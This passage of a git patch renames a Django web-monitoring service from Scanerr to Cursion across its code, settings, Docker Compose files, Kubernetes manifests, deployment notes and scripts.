 # from ..models import * 
 # from datetime import datetime
 # from asgiref.sync import sync_to_async
-# from scanerr import settings
+# from cursion import settings
 
 
 
diff --git a/app/api/utils/archive/driver_p.py b/app/api/utils/archive/driver_p.py
index 42b89e6a..389188a1 100644
--- a/app/api/utils/archive/driver_p.py
+++ b/app/api/utils/archive/driver_p.py
@@ -1,5 +1,5 @@
 # from pyppeteer import launch
-# from scanerr import settings
+# from cursion import settings
 # import time, os, sys, datetime
 
 
diff --git a/app/api/utils/archive/imager.py b/app/api/utils/archive/imager.py
index 393bfff4..db57392a 100644
--- a/app/api/utils/archive/imager.py
+++ b/app/api/utils/archive/imager.py
@@ -2,7 +2,7 @@
 # from .driver_p import driver_init as driver_init_p, wait_for_page
 # from ..models import Site, Scan, Test, Mask
 # from skimage.metrics import structural_similarity
-# from scanerr import settings
+# from cursion import settings
 # from PIL import Image as I, ImageChops, ImageStat
 # from datetime import datetime
 # from asgiref.sync import sync_to_async
@@ -318,7 +318,7 @@
 #             _page = self.scan.page
 #             return _page
         
-#         # getting Scanerr `page` object
+#         # getting Cursion `page` object
 #         _page = await get_page()
 
 #         # starting up puppeteer driver
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 03c1c1a9..95eac27a 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -1,7 +1,7 @@
 from .driver import driver_init, driver_wait, quit_driver
 from selenium.webdriver.common.by import By
 from ..models import Site, Case
-from scanerr import settings
+from cursion import settings
 import time, os, json, uuid, random, boto3
 
 
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index b8937d74..7136ff1b 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -6,7 +6,7 @@
 from ..models import * 
 from datetime import datetime, timezone
 from asgiref.sync import sync_to_async
-from scanerr import settings
+from cursion import settings
 
 
 
diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 7eb469e0..5211ef18 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -1,7 +1,7 @@
 from .driver import driver_init, driver_wait, quit_driver
 from PIL import Image as I
 from .alerts import sendgrid_email
-from scanerr import settings
+from cursion import settings
 import time, boto3, os
 
 
@@ -21,7 +21,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     
     Returns -> data {
         'success' : bool if process started successfully
-        'error'   : str any error msg from Scanerr server
+        'error'   : str any error msg from cursion server
     }
     """
 
@@ -84,16 +84,16 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     os.remove(pdf)
     
     # setting up email to prospect
-    pre_content = 'The Scanerr performance report you requested has finished processing. \
+    pre_content = 'The Cursion performance report you requested has finished processing. \
          Now, just click the link below to view and download the PDF.'
-    content = 'If you have any questions about the report or want deeper insights, feel free to book a short call with me here -> https://scanerr.io/booking'
-    subject = f'{first_name}, your Scanerr Report is Ready'
-    title = f'{first_name}, your Scanerr Report is Ready'
-    pre_header = f'{first_name}, your Scanerr Report is Ready'
+    content = 'If you have any questions about the report or want deeper insights, feel free to book a short call with me here -> https://cursion.dev/booking'
+    subject = f'{first_name}, your Cursion Report is Ready'
+    title = f'{first_name}, your Cursion Report is Ready'
+    pre_header = f'{first_name}, your Cursion Report is Ready'
     button_text = 'View Your Report'
     email = email
     object_url = report_url
-    signature = f'- Landon R | CEO <a href="https://scanerr.io">@Scanerr</a>'
+    signature = f'- Landon R | CEO <a href="https://cursion.dev">@Cursion</a>'
     greeting = f'Hi {first_name},'
 
     message_obj = {
diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index bf3ba480..8750df44 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -1,7 +1,7 @@
 from .driver import driver_init, driver_wait, quit_driver
 from ..models import Site, Scan, Test, Mask
 from skimage.metrics import structural_similarity
-from scanerr import settings
+from cursion import settings
 from PIL import Image as I, ImageChops, ImageStat
 from datetime import datetime
 from asgiref.sync import sync_to_async
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index ac659bf7..b609c9e2 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -1,5 +1,5 @@
 from ..models import *
-from scanerr import settings
+from cursion import settings
 from openai import OpenAI
 import time, os, json, uuid, random, boto3
 
@@ -171,7 +171,7 @@ def build_issue(self):
             )
         
         # clean recommendation
-        recommendation = recommendation.replace('localhost', 'app.scanerr.io')
+        recommendation = recommendation.replace('localhost', 'app.cursion.dev')
 
         # build details from components
         details = intro + main_issue + recommendation
diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 0f77277a..48e092ad 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -1,6 +1,6 @@
 import subprocess, json, uuid, boto3, os, requests
 from ..models import Site, Scan
-from scanerr import settings
+from cursion import settings
 
 
 
@@ -134,7 +134,7 @@ def lighthouse_api(self) -> dict:
     def process_data(self, stdout_json: dict) -> dict:
         """ 
         Accepts JSON data from either CLI or API method 
-        and parses into usable Scanerr data.
+        and parses into usable Cursion data.
 
         Expects the following:
             stdout_json: <dict> or json from output
diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 768783d0..ae0dfe41 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -1,5 +1,5 @@
 from ..models import *
-from scanerr import settings
+from cursion import settings
 from reportlab.lib.pagesizes import letter
 from reportlab.lib.units import inch
 from reportlab.lib.colors import HexColor
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index af0d64a4..37ff09b7 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -9,7 +9,7 @@
 from .yellowlab import Yellowlab
 from .imager import Imager
 from datetime import datetime
-from scanerr import settings
+from cursion import settings
 import os, asyncio, uuid, boto3
 
 
@@ -337,7 +337,7 @@ def check_scan_completion(scan: object, test_id: str=None, automation_id: str=No
             test = Test.objects.get(id=test_id)
             Tester(test=test).run_test()
             if automation_id is not None and automation_id != 'None':
-                print('running automation from `scanerr.check_scan_completion`')
+                print('running automation from `cursion.check_scan_completion`')
                 Automater(automation_id, test.id).run_automation()
 
     # returning scan
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 0685135f..ecd26399 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -1,7 +1,7 @@
 from ..models import *
 from datetime import datetime
 from .imager import Imager
-from scanerr import settings
+from cursion import settings
 from difflib import SequenceMatcher
 from .issuer import Issuer
 import os, json, random, \
diff --git a/app/api/utils/verify.py b/app/api/utils/verify.py
index adfecd13..0a5bc0c3 100644
--- a/app/api/utils/verify.py
+++ b/app/api/utils/verify.py
@@ -10,7 +10,7 @@ def verify():
     email = os.environ.get('ADMIN_EMAIL')
     password = os.environ.get('ADMIN_PASS')
     cred = os.environ.get('CRED')
-    url = 'https://scanerr.io/api/verify'
+    url = 'https://cursion.dev/api/verify'
 
     headers = {
         "Content-Type": "application/json",
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index c464ac4f..52903297 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -1,6 +1,6 @@
 import subprocess, json, uuid, boto3, os, requests, time
 from ..models import Site, Scan
-from scanerr import settings
+from cursion import settings
 
 
 
@@ -154,7 +154,7 @@ def yellowlab_api(self) -> dict:
     def process_data(self, stdout_json: dict) -> dict:
         """ 
         Accepts JSON data from either CLI or API method 
-        and parses into usable Scanerr data.
+        and parses into usable Cursion data.
 
         Expects the following:
             stdout_json: <dict> or json from output
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 18634faf..a01d2be2 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -20,7 +20,7 @@
 from .serializers import *
 from ...utils.alerts import send_reset_link
 from ...tasks import send_invite_link_bg, send_remove_alert_bg
-from scanerr import settings
+from cursion import settings
 import requests, os, subprocess, secrets
 
 
@@ -277,7 +277,7 @@ def jwt_login(*, user: object) -> str:
     """
     Gets JWTs for passed "user" and builds a 
     redirect url for returning user params back to 
-    Scanerr.client
+    Cursion.client
     
     Expect: {
         'user': object
diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py
index bcea5525..244aae01 100644
--- a/app/api/v1/auth/views.py
+++ b/app/api/v1/auth/views.py
@@ -9,7 +9,7 @@
 from django.contrib.auth.models import User
 from datetime import timedelta, datetime
 from ...models import Account, Member
-from scanerr import settings
+from cursion import settings
 from .services import *
 import os, stripe, json
 
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 2123be8c..bb10c980 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -7,7 +7,7 @@
 from ..ops.services import delete_site
 from ..auth.services import create_or_update_account
 from ..auth.serializers import AccountSerializer
-from scanerr import settings
+from cursion import settings
 import stripe
 
 
@@ -182,7 +182,7 @@ def stripe_setup(request: object) -> object:
 def stripe_complete(request: object) -> object: 
     """ 
     Confirms the Stripe Payment intent after user 
-    enters CC details on Scanerr.client - Also updates 
+    enters CC details on Cursion.client - Also updates 
     `Account` payment method.
 
     Expects: {
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 2ab6f0c1..001371ed 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -3,7 +3,7 @@
 from rest_framework.views import APIView
 from rest_framework import status
 from .services import *
-from scanerr import settings 
+from cursion import settings 
 
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 6d8e4ed9..2c4dcb65 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5,9 +5,9 @@
 from ...models import *
 from rest_framework.response import Response
 from rest_framework import status
-from scanerr import celery
+from cursion import celery
 from redis import Redis
-from scanerr import settings
+from cursion import settings
 from celery import app
 from .serializers import *
 from ...tasks import *
@@ -4447,7 +4447,7 @@ def delete_report(request: object, id: str) -> object:
 
 def export_report(request: object) -> object:
     """
-    Used to create and send a Scanerr.landing 
+    Used to create and send a Cursion.landing 
     `Report` to the passed "email"  
 
     Expects: {
@@ -5704,7 +5704,7 @@ def search_resources(request: object) -> object:
 def get_home_metrics(request: object) -> object:
     """ 
     Builds metrics for account "Home" view 
-    on Scanerr.client
+    on Cursion.client
 
     Expects: {
         'request' : object
@@ -5758,7 +5758,7 @@ def get_home_metrics(request: object) -> object:
 def get_site_metrics(request: object) -> object:
     """ 
     Builds metrics for account "Site" view 
-    on Scanerr.client
+    on Cursion.client
 
     Expects: {
         'request' : object
diff --git a/app/scanerr/__init__.py b/app/cursion/__init__.py
similarity index 100%
rename from app/scanerr/__init__.py
rename to app/cursion/__init__.py
diff --git a/app/scanerr/asgi.py b/app/cursion/asgi.py
similarity index 75%
rename from app/scanerr/asgi.py
rename to app/cursion/asgi.py
index fa484bf4..80cdefbc 100644
--- a/app/scanerr/asgi.py
+++ b/app/cursion/asgi.py
@@ -1,5 +1,5 @@
 """
-ASGI config for scanerr project.
+ASGI config for cursion project.
 
 It exposes the ASGI callable as a module-level variable named ``application``.
 
@@ -11,6 +11,6 @@
 
 from django.core.asgi import get_asgi_application
 
-os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings')
+os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cursion.settings')
 
 application = get_asgi_application()
diff --git a/app/scanerr/celery.py b/app/cursion/celery.py
similarity index 83%
rename from app/scanerr/celery.py
rename to app/cursion/celery.py
index 1839e4a7..773c4997 100644
--- a/app/scanerr/celery.py
+++ b/app/cursion/celery.py
@@ -2,18 +2,18 @@
 from celery import Celery
 from celery.signals import worker_shutdown
 from django.conf import settings
-import scanerr, os, time
+import cursion, os, time
 
 
 
 
 
 
-# setting DJANGO_SETTINGS_MODULE to scanerr.settings
-os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings')
+# setting DJANGO_SETTINGS_MODULE to cursion.settings
+os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cursion.settings')
 
 # init celery
-app = Celery('scanerr')
+app = Celery('cursion')
 
 # configure namespace
 app.config_from_object('django.conf:settings', namespace='CELERY')
diff --git a/app/scanerr/settings.py b/app/cursion/settings.py
similarity index 98%
rename from app/scanerr/settings.py
rename to app/cursion/settings.py
index ae8f36da..01c00daf 100644
--- a/app/scanerr/settings.py
+++ b/app/cursion/settings.py
@@ -1,5 +1,5 @@
 """
-Django settings for Scanerr project.
+Django settings for Cursion project.
 
 Generated by 'django-admin startproject' using Django 3.2.3.
 
@@ -36,7 +36,7 @@
 YELLOWLAB_ROOT = os.environ.get('YELLOWLAB_ROOT')
 LIGHTHOUSE_ROOT = os.environ.get('LIGHTHOUSE_ROOT')
 
-# Scanerr.landing API KEY
+# Cursion.landing API KEY
 LANDING_API_KEY = os.environ.get('LANDING_API_KEY')
 
 # Application definition
@@ -66,7 +66,7 @@
     'django.middleware.clickjacking.XFrameOptionsMiddleware',
     'corsheaders.middleware.CorsMiddleware',
 ]
-ROOT_URLCONF = 'scanerr.urls'
+ROOT_URLCONF = 'cursion.urls'
 TEMPLATES = [
     {
         'BACKEND': 'django.template.backends.django.DjangoTemplates',
@@ -82,7 +82,7 @@
         },
     },
 ]
-WSGI_APPLICATION = 'scanerr.wsgi.application'
+WSGI_APPLICATION = 'cursion.wsgi.application'
 
 
 # Database
diff --git a/app/scanerr/urls.py b/app/cursion/urls.py
similarity index 100%
rename from app/scanerr/urls.py
rename to app/cursion/urls.py
diff --git a/app/scanerr/wsgi.py b/app/cursion/wsgi.py
similarity index 75%
rename from app/scanerr/wsgi.py
rename to app/cursion/wsgi.py
index bc13ad63..7587bfe8 100644
--- a/app/scanerr/wsgi.py
+++ b/app/cursion/wsgi.py
@@ -1,5 +1,5 @@
 """
-WSGI config for scanerr project.
+WSGI config for cursion project.
 
 It exposes the WSGI callable as a module-level variable named ``application``.
 
@@ -11,6 +11,6 @@
 
 from django.core.wsgi import get_wsgi_application
 
-os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings')
+os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cursion.settings')
 
 application = get_wsgi_application()
diff --git a/app/manage.py b/app/manage.py
index d4057aa5..00ce80c6 100755
--- a/app/manage.py
+++ b/app/manage.py
@@ -6,7 +6,7 @@
 
 def main():
     """Run administrative tasks."""
-    os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings')
+    os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cursion.settings')
     try:
         from django.core.management import execute_from_command_line
     except ImportError as exc:
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 1bb2c60c..cb57041b 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -2,8 +2,8 @@ services:
 
 
   app:
-    container_name: scanerr-app
-    hostname: scanerr-app
+    container_name: cursion-app
+    hostname: cursion-app
     platform: linux/amd64
     privileged: true
     restart: always
@@ -24,8 +24,8 @@ services:
 
   
   db:
-    container_name: scanerr-db
-    hostname: scanerr-db
+    container_name: cursion-db
+    hostname: cursion-db
     image: postgres:14-alpine
     ports:
       - "5432"
@@ -36,16 +36,16 @@ services:
 
 
   redis:
-    container_name: scanerr-redis
-    hostname: scanerr-redis
+    container_name: cursion-redis
+    hostname: cursion-redis
     image: redis:alpine
     ports:
       - "6379"
 
 
   celery:
-    container_name: scanerr-celery
-    hostname: scanerr-celery
+    container_name: cursion-celery
+    hostname: cursion-celery
     platform: linux/amd64
     privileged: true
     restart: always
@@ -64,8 +64,8 @@ services:
 
 
   beat:
-    container_name: scanerr-beat
-    hostname: scanerr-beat
+    container_name: cursion-beat
+    hostname: cursion-beat
     platform: linux/amd64
     privileged: true
     restart: always
@@ -89,7 +89,7 @@ services:
     hostname: yellowlab
     privileged: true
     restart: always
-    image: scanerr/ylt
+    image: cursion/ylt
     ports:
       - 8383:8383
     depends_on:
diff --git a/docker-compose.local.yml b/docker-compose.local.yml
index 6fbb1393..4c599098 100644
--- a/docker-compose.local.yml
+++ b/docker-compose.local.yml
@@ -2,8 +2,8 @@ services:
   
 
   app:
-    container_name: scanerr-app
-    hostname: scanerr-app
+    container_name: cursion-app
+    hostname: cursion-app
     platform: linux/amd64
     privileged: true
     restart: always
@@ -23,8 +23,8 @@ services:
 
 
   db:
-    container_name: scanerr-db
-    hostname: scanerr-db
+    container_name: cursion-db
+    hostname: cursion-db
     image:  postgres:14-alpine
     env_file:
       - ./env/.env.local
@@ -33,16 +33,16 @@ services:
   
 
   redis:
-    container_name: scanerr-redis
-    hostname: scanerr-redis
+    container_name: cursion-redis
+    hostname: cursion-redis
     image: redis:alpine
     ports:
       - "6379"
 
 
   celery:
-    container_name: scanerr-celery
-    hostname: scanerr-celery
+    container_name: cursion-celery
+    hostname: cursion-celery
     platform: linux/amd64
     privileged: true
     restart: always
@@ -61,8 +61,8 @@ services:
 
 
   beat:
-    container_name: scanerr-beat
-    hostname: scanerr-beat
+    container_name: cursion-beat
+    hostname: cursion-beat
     platform: linux/amd64
     privileged: true
     restart: always
@@ -86,7 +86,7 @@ services:
     hostname: yellowlab
     privileged: true
     restart: always
-    image: scanerr/ylt
+    image: cursion/ylt
     ports:
       - 8383:8383
     depends_on:
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 0b9355d0..2354a33b 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -2,8 +2,8 @@ services:
 
 
   app:
-    container_name: scanerr-app
-    hostname: scanerr-app
+    container_name: cursion-app
+    hostname: cursion-app
     restart: always
     platform: linux/amd64
     privileged: true
@@ -24,8 +24,8 @@ services:
 
   
   db:
-    container_name: scanerr-db
-    hostname: scanerr-db
+    container_name: cursion-db
+    hostname: cursion-db
     image: postgres:14-alpine
     ports:
       - "5432"
@@ -36,16 +36,16 @@ services:
 
 
   redis:
-    container_name: scanerr-redis
-    hostname: scanerr-redis
+    container_name: cursion-redis
+    hostname: cursion-redis
     image: redis:alpine
     ports:
       - "6379"
 
 
   celery:
-    container_name: scanerr-celery
-    hostname: scanerr-celery
+    container_name: cursion-celery
+    hostname: cursion-celery
     privileged: true
     restart: always
     build:
@@ -63,8 +63,8 @@ services:
 
 
   beat:
-    container_name: scanerr-beat
-    hostname: scanerr-beat
+    container_name: cursion-beat
+    hostname: cursion-beat
     privileged: true
     restart: always
     build:
@@ -87,7 +87,7 @@ services:
     hostname: yellowlab
     privileged: true
     restart: always
-    image: scanerr/ylt
+    image: cursion/ylt
     ports:
       - 8383:8383
     depends_on:
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index 0c92d71e..9975d724 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -2,8 +2,8 @@ services:
   
 
   app:
-    container_name: scanerr-app
-    hostname: scanerr-app
+    container_name: cursion-app
+    hostname: cursion-app
     platform: linux/amd64
     privileged: true
     init: true
diff --git a/env/.env.stage.example b/env/.env.stage.example
index b9a61246..5444109f 100644
--- a/env/.env.stage.example
+++ b/env/.env.stage.example
@@ -3,7 +3,7 @@ SECRET_KEY = ask-for-this
 CLIENT_URL_ROOT = http://localhost:3000
 CLIENT_URL_ROOT = http://localhost:3000
 API_URL_ROOT = http://localhost:8000
-YELLOWLAB_ROOT = http://yellowlab.scanerr.io:8383
+YELLOWLAB_ROOT = http://yellowlab.example.com:8383
 LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed
 DJANGO_ALLOWED_HOSTS = *
 DEBUG = True
diff --git a/k8s/local/app-deployment.yaml b/k8s/local/app-deployment.yaml
index 6925432c..1b2dd72c 100644
--- a/k8s/local/app-deployment.yaml
+++ b/k8s/local/app-deployment.yaml
@@ -16,7 +16,7 @@ spec:
         - name: regcred
       containers:
         - name: app
-          image: scanerr/server:latest
+          image: cursion/server:latest
           imagePullPolicy: IfNotPresent
           ports:
             - containerPort: 8000
diff --git a/k8s/local/celery-deployment.yaml b/k8s/local/celery-deployment.yaml
index 14acc537..060a2a89 100644
--- a/k8s/local/celery-deployment.yaml
+++ b/k8s/local/celery-deployment.yaml
@@ -16,9 +16,9 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: scanerr/server:latest
+          image: cursion/server:latest
           imagePullPolicy: IfNotPresent
-          command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
+          command: ["celery", "-A", "cursion", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:
             - configMapRef:
                 name: app-configs
diff --git a/k8s/prod/app-cert-issuer.yaml b/k8s/prod/app-cert-issuer.yaml
index 761662e3..9c24665d 100644
--- a/k8s/prod/app-cert-issuer.yaml
+++ b/k8s/prod/app-cert-issuer.yaml
@@ -8,7 +8,7 @@ spec:
     # The ACME server URL
     server: https://acme-v02.api.letsencrypt.org/directory # https://acme-staging-v02.api.letsencrypt.org/directory
     # Email address used for ACME registration
-    email: hello@scanerr.io
+    email: hello@cursion.dev
     # Name of a secret used to store the ACME account private key
     privateKeySecretRef:
       name: letsencrypt-nginx-private-key
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index ba7beb4a..34a12314 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -17,8 +17,8 @@ spec:
       imagePullSecrets:
         - name: regcred
       containers:
-        - name: scanerr-server
-          image:  <IMAGE> # scanerr/server:49709ea #
+        - name: cursion-server
+          image:  <IMAGE> # cursion/server:49709ea #
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
diff --git a/k8s/prod/app-ingress.yaml b/k8s/prod/app-ingress.yaml
index db99db32..45442731 100644
--- a/k8s/prod/app-ingress.yaml
+++ b/k8s/prod/app-ingress.yaml
@@ -10,10 +10,10 @@ spec:
   ## ensure below section is comented out on first creation ##
   # tls:
   #   - hosts:
-  #     - api.scanerr.io
+  #     - api.cursion.dev
   #     secretName: letsencrypt-nginx
   rules:
-  - host: api.scanerr.io
+  - host: api.cursion.dev
     http:
       paths:
       - backend:
diff --git a/k8s/prod/app-loadbalancer.yaml b/k8s/prod/app-loadbalancer.yaml
index f2c139cd..99115af2 100644
--- a/k8s/prod/app-loadbalancer.yaml
+++ b/k8s/prod/app-loadbalancer.yaml
@@ -265,7 +265,7 @@ kind: Service
 metadata:
   annotations:
     service.beta.kubernetes.io/do-loadbalancer-enable-proxy-protocol: 'true'
-    service.beta.kubernetes.io/do-loadbalancer-hostname: "api.scanerr.io"
+    service.beta.kubernetes.io/do-loadbalancer-hostname: "api.cursion.dev"
   labels:
     helm.sh/chart: ingress-nginx-4.0.15
     app.kubernetes.io/name: ingress-nginx
diff --git a/k8s/prod/beat-deployment.yaml b/k8s/prod/beat-deployment.yaml
index 3113178d..1ce35625 100644
--- a/k8s/prod/beat-deployment.yaml
+++ b/k8s/prod/beat-deployment.yaml
@@ -19,7 +19,7 @@ spec:
         - name: regcred
       containers:
         - name: beat
-          image: <IMAGE> # scanerr/server:49709ea # 
+          image: <IMAGE> # cursion/server:49709ea # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "beat"]
           envFrom:
diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index 594e6768..f8588e37 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -13,5 +13,5 @@ spec:
     - type: metrics-api
       metadata:
         targetValue: "5"
-        url: "https://api.scanerr.io/v1/ops/metrics/celery"
+        url: "https://api.cursion.dev/v1/ops/metrics/celery"
         valueLocation: "working_len"
\ No newline at end of file
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 808fbfcc..ff0f1e4c 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -24,7 +24,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # scanerr/server:99e2252 # 
+          image: <IMAGE> # cursion/server:99e2252 # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "celery"]
           envFrom:
diff --git a/k8s/prod/ylt-autoscaler.yaml b/k8s/prod/ylt-autoscaler.yaml
index 7f9203d0..e7490c5c 100644
--- a/k8s/prod/ylt-autoscaler.yaml
+++ b/k8s/prod/ylt-autoscaler.yaml
@@ -13,5 +13,5 @@ spec:
     - type: metrics-api
       metadata:
         targetValue: "10"
-        url: "https://api.scanerr.io/v1/ops/metrics/celery"
+        url: "https://api.cursion.dev/v1/ops/metrics/celery"
         valueLocation: "working_len"
\ No newline at end of file
diff --git a/k8s/prod/ylt-deployment.yaml b/k8s/prod/ylt-deployment.yaml
index f41212e1..24307c2f 100644
--- a/k8s/prod/ylt-deployment.yaml
+++ b/k8s/prod/ylt-deployment.yaml
@@ -17,7 +17,7 @@ spec:
       terminationGracePeriodSeconds: 30
       containers:
       - name: yellowlab
-        image: scanerr/ylt
+        image: cursion/ylt
         env:
         - name: POD_IP
           valueFrom:
diff --git a/notes/Deployment.md b/notes/Deployment.md
index a6c08178..1b564fcb 100644
--- a/notes/Deployment.md
+++ b/notes/Deployment.md
@@ -1,5 +1,6 @@
-# Scanerr Deployment (single Server)
-- [Scanerr Deployment (single Server)](#scanerr-deployment-single-server)
+# Cursion Deployment (single Server)
+
+- [Cursion Deployment (single Server)](#cursion-deployment-single-server)
   - [Environment](#environment)
   - [Local](#local)
   - [Remote](#remote)
@@ -43,7 +44,7 @@ $ pip3 install virtualenv
 $ virtualenv appenv
 $ source appenv/bin/activate
 $ mkdir app
-$ git clone https://github.com/Scanerr-io/server.git
+$ git clone https://github.com/Cursion/server.git
 ```
 *Spin-up the application*
 ```shell
@@ -106,7 +107,7 @@ $ {your_ssh_key.pub} >> ~/.ssh/authorized_keys
 $ cd ~
 $ mkdir app
 $ cd app
-$ git clone git@github.com:Scanerr-io/server.git
+$ git clone git@github.com:Cursion/server.git
 ```
 *Spin-up the application*
 ```shell
@@ -142,7 +143,7 @@ $ docker exec -it <container:id> /bin/sh
 sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
 service docker start &&
 sleep 10 &&
-docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
+docker run -d --privileged --restart unless-stopped -p 8383:8383 cursion/ylt &&
 ```
 
 
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index f7f2d14d..b8660037 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -105,8 +105,8 @@ kubectl create secret docker-registry regcred --docker-server=https://index.dock
 
 ### 1. Build Dockerfile into image
 ``` shell
-docker build . -t scanerr/server:latest
-docker image push scanerr/server:latest
+docker build . -t cursion/server:latest
+docker image push cursion/server:latest
 ```
 
 
@@ -121,11 +121,11 @@ kubectl apply -f ./k8s/prod/app-loadbalancer.yaml
 ### 3. Update ingress-nginx-controler "Service file" with domain - if not already updated.
 - add the below annotation 
 ``` shell
-service.beta.kubernetes.io/do-loadbalancer-hostname: "api.scanerr.io"
+service.beta.kubernetes.io/do-loadbalancer-hostname: "api.cursion.dev"
 ```
 
 
-### 4. Spin up Scanerr deployments and services
+### 4. Spin up Cursion deployments and services
 ``` shell
 kubectl apply -f ./k8s/prod/app-configs.yaml
 kubectl apply -f ./k8s/prod/redis-deployment.yaml
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index 0cc19ab7..eca149a7 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -17,7 +17,7 @@ if [[ $1 == *"app"* ]]
         python3 manage.py migrate --no-input &&
         python3 manage.py create_admin &&
         python3 manage.py driver_test &&
-        gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
+        gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug cursion.wsgi:application --bind 0.0.0.0:8000
     fi
     if [[ $2 == *"stage"* ]]
     then
@@ -32,7 +32,7 @@ if [[ $1 == *"celery"* ]]
   then
     python3 manage.py wait_for_db && 
     echo "pausing for migrations to complete..." && sleep 7s &&
-    celery -A scanerr worker -E --loglevel=info -O fair
+    celery -A cursion worker -E --loglevel=info -O fair
 fi
 
 # spin up celery beat
@@ -40,6 +40,6 @@ if [[ $1 == *"beat"* ]]
   then
     python3 manage.py wait_for_db &&
     echo "pausing for migrations to complete..." && sleep 7s &&
-    celery -A scanerr beat --scheduler django --loglevel=info
+    celery -A cursion beat --scheduler django --loglevel=info
 fi
 
diff --git a/setup/scripts/local.sh b/setup/scripts/local.sh
index 441257ec..bb9c8b85 100644
--- a/setup/scripts/local.sh
+++ b/setup/scripts/local.sh
@@ -1,9 +1,9 @@
 #!/bin/bash
 
-# ensure you create $SCANERR_ROOT first:
-#  echo 'export SCANERR_ROOT=<your/path/to/scanerr/root>' >> ~/.zshrc   (or ~/.bash_profile)
+# ensure you create $CURSION_ROOT first:
+#  echo 'export CURSION_ROOT=<your/path/to/cursion/>' >> ~/.zshrc   (or ~/.bash_profile)
 
-cd $SCANERR_ROOT/server &&
+cd $CURSION_ROOT/server &&
 {   
     docker compose -f docker-compose.local.yml down &&
     docker volume rm server_app server_beat server_celery &&

From 552c10d8b11348e5e61c64f1777020bc14ac0ee5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 24 Sep 2024 14:25:19 -0600
Subject: [PATCH 0738/1099] pausing actions

---
 .github/workflows/dev-deploy.yaml |  64 ++++++++--------
